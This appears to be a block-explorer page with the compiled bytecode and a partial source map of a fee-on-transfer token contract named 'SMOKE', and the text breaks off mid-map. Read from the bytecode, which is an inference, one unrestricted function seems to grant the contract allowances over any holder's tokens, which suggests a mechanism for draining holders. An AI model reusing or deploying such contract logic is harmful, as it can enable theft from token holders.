02052604090205490611510565b6001600160a01b0380851660008181526017602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111aa85856111c1565b60405190815260200160405180910390a350505050565b600061120383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156f565b9392505050565b6000600a54600c541161121e575060085490565b600a54600c541180156112355750600654600c5411155b15611241575060045490565b5060025490565b60008260000361125a57506000610784565b600061126683856118a8565b905082611273858361197a565b146112035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046b565b600061120383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a9565b6000600a54600c5411611320575060075490565b600954600c541180156113375750600554600c5411155b15611241575060035490565b60008183116113525782611203565b50919050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a0576113a06118bf565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141d9190611732565b81600181518110611430576114306118bf565b6001600160a01b039283166020918202929092010152600e546114569130911684610c54565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148f90859060009086903090429060040161199c565b600060405180830381600087803b1580156114a957600080fd5b505af11580156114bd573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561150c573d6000803e3d6000fd5b5050565b60008061151d838561194e565b9050838110156112035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046b565b600081848411156115935760405162461bcd60e51b815260040161046b91906115d7565b5060006115a084866119d8565b95945050505050565b600081836115ca5760405162461bcd60e51b815260040161046b91906115d7565b5060006115a0848661197a565b600060208083528351808285015260005b81811015611604578581018301518582016040015282016115e8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c3a57600080fd5b6000806040838503121561164d57600080fd5b823561165881611625565b946020939093013593505050565b60008060006060848603121561167b57600080fd5b833561168681611625565b9250602084013561169681611625565b929592945050506040919091013590565b6000602082840312156116b957600080fd5b813561120381611625565b600080604083850312156116d757600080fd5b82356116e281611625565b915060208301356116f281611625565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561174457600080fd5b815161120381611625565b60006020828403121561176157600080fd5b8151801515811461120357600080fd5b60008060006060848603121561178657600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117f05781600019048211156117d6576117d661179f565b808516156117e357918102915b93841c93908002906117ba565b509250929050565b60008261180757506001610784565b8161181457506000610784565b816001811461182a576002811461183457611850565b6001915050610784565b60ff8411156118455761184561179f565b50506001821b610784565b5060208310610133831016604e8410600b8410161715611873575081810a610784565b61187d83836117b5565b80600019048211156118915761189161179f565b029392505050565b600061120360ff8416836117f8565b80820281158282048414176107845761078461179f565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561190e5781516001600160a01b0316875295820195908201906001016118e9565b509495945050505050565b84815260806020820152600061193260808301866118d5565b6001600160a01b03949094166040830152506060015292915050565b808201808211156107845761078461179f565b6000600182016119735761197361179f565b5060010190565b60008261199757634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a0604082015260006119bb60a08301866118d5565b6001600160a01b0394909416606083015250608001529392505050565b818103818111156107845761078461179f56fe4d656e20416c776179732052656d656d626572204c6f76652042656361757365204f6620526f6d616e6365204f6e6c79a2646970667358221220f8a8be0e7074fa49910724202443b87ba0c4060c6d6406a7cb4be0bab7e93aa864736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c80637d1db4a5116100b6578063a0ef91df1161006f578063a0ef91df1461036f578063a9059cbb14610384578063bf474bed146103a4578063c876d0b9146103ba578063dd62ed3e146103db578063e6f705311461042157600080fd5b80637d1db4a5146102c25780638a8c523c146102d85780638da5cb5b146102ed5780638f9a55c01461030b57806395d89b41146103215780639e161d9a1461034f57600080fd5b806323b872dd1161010857806323b872dd146101ee578063313ce5671461020e57806349bd5a5e1461022a57806370a0823114610262578063715018a614610298578063751039fc146102ad57600080fd5b806302ac81681461015057806306fdde031461015a578063095ea7b3146101855780630faee56f146101b557806318160ddd146101d957600080fd5b3661014b57005b600080fd5b610158610441565b005b34801561016657600080fd5b5061016f610753565b60405161017c91906115d7565b60405180910390f35b34801561019157600080fd5b506101a56101a036600461163a565b610773565b604051901515815260200161017c565b3480156101c157600080fd5b506101cb60125481565b60405190815260200161017c565b3480156101e557600080fd5b506101cb61078a565b3480156101fa57600080fd5b506101a5610209366004611666565b6107ab565b34801561021a57600080fd5b506040516009815260200161017c565b34801561023657600080fd5b50600f5461024a906001600160a01b031681565b6040516001600160a01b03909116815260200161017c565b34801561026e57600080fd5b506101cb61027d3660046116a7565b6001600160a01b031660009081526017602052604090205490565b3480156102a457600080fd5b506101586107fc565b3480156102b957600080fd5b50610158610870565b3480156102ce57600080fd5b506101cb60155481565b3480156102e457600080fd5b5061015861092f565b3480156102f957600080fd5b506000546001600160a01b031661024a565b34801561031757600080fd5b506101cb60145481565b34801561032d57600080fd5b50604080518082019091526005815264534d4f4b4560d81b602082015261016f565b34801561035b57600080fd5b5061015861036a36600461163a565b61098b565b34801561037b57600080fd5b50610158610bda565b34801561039057600080fd5b506101a561039f36600461163a565b610c3d565b3480156103b057600080fd5b506101cb60135481565b3480156103c657600080fd5b506010546101a590600160b01b900460ff1681565b3480156103e757600080fd5b506101cb6103f63660046116c4565b6001600160a01b03918216600090815260166020908152604080832093909416825291909152205490565b34801561042d57600080fd5b506101a561043c36600461163a565b610c4a565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161046b906116fd565b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156104d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fc9190611732565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190611732565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f39190611732565b600f80546001600160a01b0319166001600160a01b03928316908117909155600e5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e919061174f565b50306000818152601660209081526040808320600e80546001600160a01b039081168652918452828520600019905554858552601790935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610729573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061074e9190611771565b505050565b60606040518060600160405280603081526020016119ec60309139905090565b6000610780338484610c54565b5060015b92915050565b60006107986009600a611899565b6107a690633b9aca006118a8565b905090565b60006107b8848484610cdb565b6001600160a01b0384166000908152601660209081526040808320338085529252909120546107f29186916107ed90866111c1565b610c54565b5060019392505050565b6000546001600160a01b031633146108265760405162461bcd60e51b815260040161046b906116fd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b815260040161046b906116fd565b6108a66009600a611899565b6108b490633b9aca006118a8565b6015556108c36009600a611899565b6108d190633b9aca006118a8565b6014556010805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61090e6009600a611899565b61091c90633b9aca006118a8565b60405190815260200160405180910390a1565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161046b906116fd565b601054600160a01b900460ff161561097057600080fd5b6010805463ff0000ff60a01b1916630100000160a01b179055565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611732565b81600081518110610a2c57610a2c6118bf565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610a6057610a606118bf565b60200260200101906001600160a01b031690816001600160a01b031681525050600081600181518110610a9557610a956118bf565b602090810291909101810151336000908152601990925260409091205490915060ff16610b2c57600e5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95908590610af59060009087908a904290600401611919565b6000604051808303818588803b158015610b0e57600080fd5b505af1158015610b22573d6000803e3d6000fd5b5050505050610bd4565b806001600160a01b03166323b872dd8584600181518110610b4f57610b4f6118bf565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af1158015610bae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd2919061174f565b505b50505050565b6010546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c27576040519150601f19603f3d011682016040523d82523d6000602084013e610c2c565b606091505b5050905080610c3a57600080fd5b50565b6000610780338484610cdb565b6000306107f28482855b6001600160a01b038316610c6757600080fd5b6001600160a01b038216610c7a57600080fd5b6001600160a01b0383811660008181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cee57600080fd5b6001600160a01b038216610d0157600080fd5b60008111610d0e57600080fd5b600080546001600160a01b03858116911614801590610d3b57506000546001600160a01b03848116911614155b1561107e57610d5d6064610d57610d5061120a565b8590611248565b906112ca565b601054909150600160a01b900460ff16610db9576001600160a01b03841660009081526019602052604090205460ff1680610db057506001600160a01b03831660009081526019602052604090205460ff165b610db957600080fd5b601054600160b01b900460ff1615610e2a57600e546001600160a01b03848116911614801590610df75750600f546001600160a01b03848116911614155b15610e2a57326000908152601860205260409020544311610e1757600080fd5b3260009081526018602052604090204390555b600f546001600160a01b038581169116148015610e555750600e546001600160a01b03848116911614155b8015610e7a57506001600160a01b03831660009081526019602052604090205460ff16155b15610ef557601554821115610e8e57600080fd5b60145482610eb1856001600160a01b031660009081526017602052604090205490565b610ebb919061194e565b1115610ec657600080fd5b600c8054906000610ed683611961565b9190505550600b54600c541115610ef5576010805460ff60b01b191690555b600f546001600160a01b038481169116148015610f1b57506001600160a01b0384163014155b15610f3357610f306064610d57610d5061130c565b90505b3060009081526017602052604090205460135460105490821190600160a81b900460ff16158015610f6d5750601054600160b81b900460ff165b8015610f865750600f546001600160a01b038681169116145b8015610f8f5750805b8015610fb457506001600160a01b03861660009081526019602052604090205460ff16155b8015610fd957506001600160a01b03851660009081526019602052604090205460ff16155b1561107b576011546001600160a01b0316600090815260176020526040812054611008906103e8905b90611248565b90506000611021826012546111c190919063ffffffff16565b9050600061102f8583611343565b90504761104461103f8984611343565b611358565b60006110646064610d57600d5461100286476111c190919063ffffffff16565b9050801561107557611075816114d2565b50505050505b50505b80156110f8573060009081526017602052604090205461109e9082611510565b30600081815260176020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ef9085815260200190565b60405180910390a35b6001600160a01b03841660009081526017602052604090205461111b90836111c1565b6001600160a01b03851660009081526017602052604090205561116061114183836111c1565b6001600160a01b03851660009081526017602052604090205490611510565b6001600160a01b0380851660008181526017602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111aa85856111c1565b60405190815260200160405180910390a350505050565b600061120383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156f565b9392505050565b6000600a54600c541161121e575060085490565b600a54600c541180156112355750600654600c5411155b15611241575060045490565b5060025490565b60008260000361125a57506000610784565b600061126683856118a8565b905082611273858361197a565b146112035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046b565b600061120383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a9565b6000600a54600c5411611320575060075490565b600954600c541180156113375750600554600c5411155b15611241575060035490565b60008183116113525782611203565b50919050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a0576113a06118bf565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141d9190611732565b81600181518110611430576114306118bf565b6001600160a01b039283166020918202929092010152600e546114569130911684610c54565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148f90859060009086903090429060040161199c565b600060405180830381600087803b1580156114a957600080fd5b505af11580156114bd573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561150c573d6000803e3d6000fd5b5050565b60008061151d838561194e565b9050838110156112035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046b565b600081848411156115935760405162461bcd60e51b815260040161046b91906115d7565b5060006115a084866119d8565b95945050505050565b600081836115ca5760405162461bcd60e51b815260040161046b91906115d7565b5060006115a0848661197a565b600060208083528351808285015260005b81811015611604578581018301518582016040015282016115e8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c3a57600080fd5b6000806040838503121561164d57600080fd5b823561165881611625565b946020939093013593505050565b60008060006060848603121561167b57600080fd5b833561168681611625565b9250602084013561169681611625565b929592945050506040919091013590565b6000602082840312156116b957600080fd5b813561120381611625565b600080604083850312156116d757600080fd5b82356116e281611625565b915060208301356116f281611625565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561174457600080fd5b815161120381611625565b60006020828403121561176157600080fd5b8151801515811461120357600080fd5b60008060006060848603121561178657600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117f05781600019048211156117d6576117d661179f565b808516156117e357918102915b93841c93908002906117ba565b509250929050565b60008261180757506001610784565b8161181457506000610784565b816001811461182a576002811461183457611850565b6001915050610784565b60ff8411156118455761184561179f565b50506001821b610784565b5060208310610133831016604e8410600b8410161715611873575081810a610784565b61187d83836117b5565b80600019048211156118915761189161179f565b029392505050565b600061120360ff8416836117f8565b80820281158282048414176107845761078461179f565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561190e5781516001600160a01b0316875295820195908201906001016118e9565b509495945050505050565b84815260806020820152600061193260808301866118d5565b6001600160a01b03949094166040830152506060015292915050565b808201808211156107845761078461179f565b6000600182016119735761197361179f565b5060010190565b60008261199757634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a0604082015260006119bb60a08301866118d5565b6001600160a01b0394909416606083015250608001529392505050565b818103818111156107845761078461179f56fe4d656e20416c776179732052656d656d626572204c6f76652042656361757365204f6620526f6d616e6365204f6e6c79a2646970667358221220f8a8be0e7074fa49910724202443b87ba0c4060c6d6406a7cb4be0bab7e93aa864736f6c63430008130033

Deployed Bytecode Sourcemap

3950:10320:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6904:596;;;:::i;:::-;;5829:115;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10149:193;;;;;;;;;;-1:-1:-1;10149:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10149:193:0;1023:187:1;5185:48:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5185:48:0;1215:177:1;6247:136:0;;;;;;;;;;;;;:::i;8884:301::-;;;;;;;;;;-1:-1:-1;8884:301:0;;;;;:::i;:::-;;:::i;6391:115::-;;;;;;;;;;-1:-1:-1;6391:115:0;;4951:1;2000:36:1;;1988:2;1973:18;6391:115:0;1858:184:1;4648:28:0;;;;;;;;;;-1:-1:-1;4648:28:0;;;;-1:-1:-1;;;;;4648:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4648:28:0;2047:203:1;6079:160:0;;;;;;;;;;-1:-1:-1;6079:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;6213:18:0;6181:7;6213:18;;;:9;:18;;;;;;;6079:160;3795:148;;;;;;;;;;;;;:::i;8652:224::-;;;;;;;;;;;;;:::i;5360:49::-;;;;;;;;;;;;;;;;8475:169;;;;;;;;;;;;;:::i;3581:79::-;;;;;;;;;;-1:-1:-1;3619:7:0;3646:6;-1:-1:-1;;;;;3646:6:0;3581:79;;5302:51;;;;;;;;;;;;;;;;5952:119;;;;;;;;;;-1:-1:-1;6056:7:0;;;;;;;;;;;;-1:-1:-1;;;6056:7:0;;;;5952:119;;10507:557;;;;;;;;;;-1:-1:-1;10507:557:0;;;;;:::i;:::-;;:::i;10350:149::-;;;;;;;;;;;;;:::i;9193:199::-;;;;;;;;;;-1:-1:-1;9193:199:0;;;;;:::i;:::-;;:::i;5240:55::-;;;;;;;;;;;;;;;;4791:39;;;;;;;;;;-1:-1:-1;4791:39:0;;;;-1:-1:-1;;;4791:39:0;;;;;;9678:184;;;;;;;;;;-1:-1:-1;9678:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9827:18:0;;;9795:7;9827:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9678:184;7621:191;;;;;;;;;;-1:-1:-1;7621:191:0;;;;;:::i;:::-;;:::i;6904:596::-;3708:6;;-1:-1:-1;;;;;3708:6:0;3238:10;3708:22;3700:67;;;;-1:-1:-1;;;3700:67:0;;;;;;;:::i;:::-;;;;;;;;;6991:15:::1;:80:::0;;-1:-1:-1;;;;;;6991:80:0::1;7028:42;6991:80:::0;;::::1;::::0;;;7116:25:::1;::::0;;-1:-1:-1;;;7116:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;7028:42;7116:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7098:55:0::1;;7162:4;7169:15;;;;;;;;;-1:-1:-1::0;;;;;7169:15:0::1;-1:-1:-1::0;;;;;7169:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7098:94;::::0;-1:-1:-1;;;;;;7098:94:0::1;::::0;;;;;;-1:-1:-1;;;;;3747:15:1;;;7098:94:0::1;::::0;::::1;3729:34:1::0;3799:15;;3779:18;;;3772:43;3664:18;;7098:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7082:13;:110:::0;;-1:-1:-1;;;;;;7082:110:0::1;-1:-1:-1::0;;;;;7082:110:0;;::::1;::::0;;::::1;::::0;;;7241:15:::1;::::0;7203:71:::1;::::0;-1:-1:-1;;;7203:71:0;;7241:15;::::1;7203:71;::::0;::::1;4000:51:1::0;-1:-1:-1;;4067:18:1;;;4060:34;7082:110:0;7203:29:::1;::::0;3973:18:1;;7203:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7307:4:0::1;7287:26;::::0;;;:11:::1;:26;::::0;;;;;;;7322:15:::1;::::0;;-1:-1:-1;;;;;7322:15:0;;::::1;7287:52:::0;;;;;;;;-1:-1:-1;;7287:72:0;;7372:15;6213:18;;;:9;:18;;;;;;7372:15;::::1;::::0;:31:::1;::::0;7411:9:::1;::::0;7307:4;7372:120:::1;::::0;-1:-1:-1;;;;;;7372:120:0::1;::::0;;;;;;-1:-1:-1;;;;;4746:15:1;;;7372:120:0::1;::::0;::::1;4728:34:1::0;4778:18;;;4771:34;7461:1:0::1;4821:18:1::0;;;4814:34;;;4864:18;;;4857:34;7465:10:0::1;4907:19:1::0;;;4900:44;7476:15:0::1;4960:19:1::0;;;4953:35;4662:19;;7372:120:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6904:596::o:0;5829:115::-;5893:13;5931:5;;;;;;;;;;;;;;;;;5924:12;;5829:115;:::o;10149:193::-;10251:4;10273:39;3238:10;10296:7;10305:6;10273:8;:39::i;:::-;-1:-1:-1;10330:4:0;10149:193;;;;;:::o;6247:136::-;6336:7;5010:15;4951:1;5010:2;:15;:::i;:::-;4994:31;;:13;:31;:::i;:::-;6361:14;;6247:136;:::o;8884:301::-;9009:4;9031:36;9041:6;9049:9;9060:6;9031:9;:36::i;:::-;-1:-1:-1;;;;;9109:19:0;;;;;;:11;:19;;;;;;;;3238:10;9109:33;;;;;;;;;9078:77;;9087:6;;9109:45;;9147:6;9109:37;:45::i;:::-;9078:8;:77::i;:::-;-1:-1:-1;9173:4:0;8884:301;;;;;:::o;3795:148::-;3708:6;;-1:-1:-1;;;;;3708:6:0;3238:10;3708:22;3700:67;;;;-1:-1:-1;;;3700:67:0;;;;;;;:::i;:::-;3902:1:::1;3886:6:::0;;3865:40:::1;::::0;-1:-1:-1;;;;;3886:6:0;;::::1;::::0;3865:40:::1;::::0;3902:1;;3865:40:::1;3933:1;3916:19:::0;;-1:-1:-1;;;;;;3916:19:0::1;::::0;;3795:148::o;8652:224::-;3708:6;;-1:-1:-1;;;;;3708:6:0;3238:10;3708:22;3700:67;;;;-1:-1:-1;;;3700:67:0;;;;;;;:::i;:::-;5010:15:::1;4951:1;5010:2;:15;:::i;:::-;4994:31;::::0;:13:::1;:31;:::i;:::-;8729:12;:22:::0;5010:15:::1;4951:1;5010:2;:15;:::i;:::-;4994:31;::::0;:13:::1;:31;:::i;:::-;8762:14;:24:::0;8797:20:::1;:28:::0;;-1:-1:-1;;;;8797:28:0::1;::::0;;8841:27:::1;5010:15;4951:1;5010:2;:15;:::i;:::-;4994:31;::::0;:13:::1;:31;:::i;:::-;8841:27;::::0;1361:25:1;;;1349:2;1334:18;8841:27:0::1;;;;;;;8652:224::o:0;8475:169::-;3708:6;;-1:-1:-1;;;;;3708:6:0;3238:10;3708:22;3700:67;;;;-1:-1:-1;;;3700:67:0;;;;;;;:::i;:::-;8564:11:::1;::::0;-1:-1:-1;;;8564:11:0;::::1;;;8563:12;8555:21;;;::::0;::::1;;8589:11;:18:::0;;-1:-1:-1;;;;8618:18:0;-1:-1:-1;;;8618:18:0;;;8475:169::o;10507:557::-;10603:16;;;10617:1;10603:16;;;;;;;;10579:21;;10603:16;;;;;;;;-1:-1:-1;;10640:15:0;;:22;;;-1:-1:-1;;;10640:22:0;;;;10579:40;;-1:-1:-1;;;;;;10640:15:0;;;;:20;;-1:-1:-1;10640:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10630:4;10635:1;10630:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;10630:32:0;;;-1:-1:-1;;;;;10630:32:0;;;;;10691:4;10673;10678:1;10673:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;10673:23:0;;;-1:-1:-1;;;;;10673:23:0;;;;;10707:12;10729:4;10734:1;10729:7;;;;;;;;:::i;:::-;;;;;;;;;;;;10774:10;10755:30;;;;:18;:30;;;;;;;;10729:7;;-1:-1:-1;10755:30:0;;10750:307;;10802:15;;:195;;-1:-1:-1;;;10802:195:0;;-1:-1:-1;;;;;10802:15:0;;;;:66;;10876:6;;10802:195;;:15;;10923:4;;10946:2;;10967:15;;10802:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10750:307;;;11016:5;-1:-1:-1;;;;;11016:18:0;;11035:2;11039:4;11044:1;11039:7;;;;;;;;:::i;:::-;;;;;;;;;;;11016:39;;-1:-1:-1;;;;;;11016:39:0;;;;;;;-1:-1:-1;;;;;8501:15:1;;;11016:39:0;;;8483:34:1;8553:15;;8533:18;;;8526:43;8585:18;;;8578:34;;;8418:18;;11016:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10750:307;10568:496;;10507:557;;:::o;10350:149::-;10417:10;;10409:58;;10394:9;;-1:-1:-1;;;;;10417:10:0;;10441:21;;10394:9;10409:58;10394:9;10409:58;10441:21;10417:10;10409:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10393:74;;;10486:4;10478:13;;;;;;10382:117;10350:149::o;9193:199::-;9298:4;9320:42;3238:10;9344:9;9355:6;9320:9;:42::i;7621:191::-;7694:4;7735;7751:31;7759:7;7735:4;7775:6;9870:271;-1:-1:-1;;;;;9977:19:0;;9969:28;;;;;;-1:-1:-1;;;;;10016:21:0;;10008:30;;;;;;-1:-1:-1;;;;;10049:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10101:32;;1361:25:1;;;10101:32:0;;1334:18:1;10101:32:0;;;;;;;9870:271;;;:::o;11172:2567::-;-1:-1:-1;;;;;11274:18:0;;11266:27;;;;;;-1:-1:-1;;;;;11312:16:0;;11304:25;;;;;;11357:1;11348:6;:10;11340:19;;;;;;11370:17;3646:6;;-1:-1:-1;;;;;11416:15:0;;;3646:6;;11416:15;;;;:32;;-1:-1:-1;3619:7:0;3646:6;-1:-1:-1;;;;;11435:13:0;;;3646:6;;11435:13;;11416:32;11412:1958;;;11477:30;11503:3;11477:21;11488:9;:7;:9::i;:::-;11477:6;;:10;:21::i;:::-;:25;;:30::i;:::-;11529:11;;11465:42;;-1:-1:-1;;;;11529:11:0;;;;11524:112;;-1:-1:-1;;;;;11569:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;11597:22:0;;;;;;:18;:22;;;;;;;;11569:50;11561:59;;;;;;11656:20;;-1:-1:-1;;;11656:20:0;;;;11652:312;;;11715:15;;-1:-1:-1;;;;;11701:30:0;;;11715:15;;11701:30;;;;:62;;-1:-1:-1;11749:13:0;;-1:-1:-1;;;;;11735:28:0;;;11749:13;;11735:28;;11701:62;11697:252;;;11826:9;11797:39;;;;:28;:39;;;;;;11839:12;-1:-1:-1;11789:63:0;;;;;;11904:9;11875:39;;;;:28;:39;;;;;11917:12;11875:54;;11697:252;11992:13;;-1:-1:-1;;;;;11984:21:0;;;11992:13;;11984:21;:55;;;;-1:-1:-1;12023:15:0;;-1:-1:-1;;;;;12009:30:0;;;12023:15;;12009:30;;11984:55;:82;;;;-1:-1:-1;;;;;;12044:22:0;;;;;;:18;:22;;;;;;;;12043:23;11984:82;11980:380;;;12106:12;;12096:6;:22;;12088:31;;;;;;12172:14;;12162:6;12146:13;12156:2;-1:-1:-1;;;;;6213:18:0;6181:7;6213:18;;;:9;:18;;;;;;;6079:160;12146:13;:22;;;;:::i;:::-;:40;;12138:49;;;;;;12208:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12254:18;;12242:9;;:30;12238:107;;;12297:20;:28;;-1:-1:-1;;;;12297:28:0;;;12238:107;12386:13;;-1:-1:-1;;;;;12380:19:0;;;12386:13;;12380:19;:43;;;;-1:-1:-1;;;;;;12403:20:0;;12418:4;12403:20;;12380:43;12376:127;;;12456:31;12483:3;12456:22;12467:10;:8;:10::i;12456:31::-;12444:43;;12376:127;12568:4;12519:28;6213:18;;;:9;:18;;;;;;12627:17;;12664:6;;12604:40;;;;-1:-1:-1;;;12664:6:0;;;;12663:7;:22;;;;-1:-1:-1;12674:11:0;;-1:-1:-1;;;12674:11:0;;;;12663:22;:45;;;;-1:-1:-1;12695:13:0;;-1:-1:-1;;;;;12689:19:0;;;12695:13;;12689:19;12663:45;:56;;;;;12712:7;12663:56;:85;;;;-1:-1:-1;;;;;;12724:24:0;;;;;;:18;:24;;;;;;;;12723:25;12663:85;:112;;;;-1:-1:-1;;;;;;12753:22:0;;;;;;:18;:22;;;;;;;;12752:23;12663:112;12659:700;;;12830:7;;-1:-1:-1;;;;;12830:7:0;12796:21;6213:18;;;:9;:18;;;;;;12820:27;;12843:3;;12820:18;:22;;:27::i;:::-;12796:51;;12866:18;12887:30;12903:13;12887:11;;:15;;:30;;;;:::i;:::-;12866:51;;12936:21;12960:36;12964:20;12985:10;12960:3;:36::i;:::-;12936:60;-1:-1:-1;13036:21:0;13076:44;13093:26;13097:6;12936:60;13093:3;:26::i;:::-;13076:16;:44::i;:::-;13139:22;13164:66;13226:3;13164:57;13206:14;;13164:37;13190:10;13164:21;:25;;:37;;;;:::i;:66::-;13139:91;-1:-1:-1;13253:18:0;;13249:95;;13296:28;13309:14;13296:12;:28::i;:::-;12777:582;;;;;12659:700;11450:1920;;11412:1958;13386:13;;13382:168;;13459:4;13441:24;;;;:9;:24;;;